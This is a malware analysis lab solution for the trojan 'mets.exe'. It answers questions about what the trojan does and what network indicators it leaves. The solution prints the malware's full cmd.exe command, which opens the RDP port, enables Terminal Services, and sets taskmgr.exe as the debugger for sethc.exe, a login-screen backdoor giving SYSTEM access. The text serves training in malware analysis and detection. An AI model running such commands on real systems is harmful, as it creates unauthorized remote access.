Lab 6 Solutions

Lab 6 - The Case of Trojan Bitrep

While you are investigating a suspect machine, you find the file (***mets.exe***). When this malicious program (***mets.exe***) is executed, it invokes cmd.exe to execute certain commands. Analyze mets.exe and answer the following questions:

1. What is the purpose of the commands executed via cmd.exe?
2. As a result of commands executed by the malware, what kind of capability it gives to the attacker?
3. Are there any network indicators that you use in network monitoring to identify the systems infected with this malware?

Answers

01. What is the purpose of the commands executed via cmd.exe?

The purpose of the below command is to modify the firewall rules/registry to allow RDP connection and then adds a registry value to set the task manager (***taskmgr.exe***) as the debugger for ***sethc.exe***

```
[CreateProcess] mets.exe:564 > "cmd /c netsh firewall add portopening tcp 3389 all & reg add
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t
REG_DWORD /d 00000000 /f & REG ADD HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image F
ile Execution Options\sethc.exe /v Debugger /t REG_SZ /d %windir%\system32\taskmgr.exe /f"
```

02. As a result of commands executed by the malware, what kind of capability it gives to the attacker?

The above command allows an adversary to access ***taskmgr.exe*** over RDP (with ***SYSTEM*** privileges). Using this technique, an adversary can kill a process or start/stop a service or launch applications over RDP without even logging in to the system.

03. Are there any network indicators that you use in network monitoring to identify the systems infected with this malware?

Malware generates the following network traffic upon execution. You can use the ***domain name*** as the network indicator. In addition to that non-standard ***User-Agent*** can be used in the network monitoring.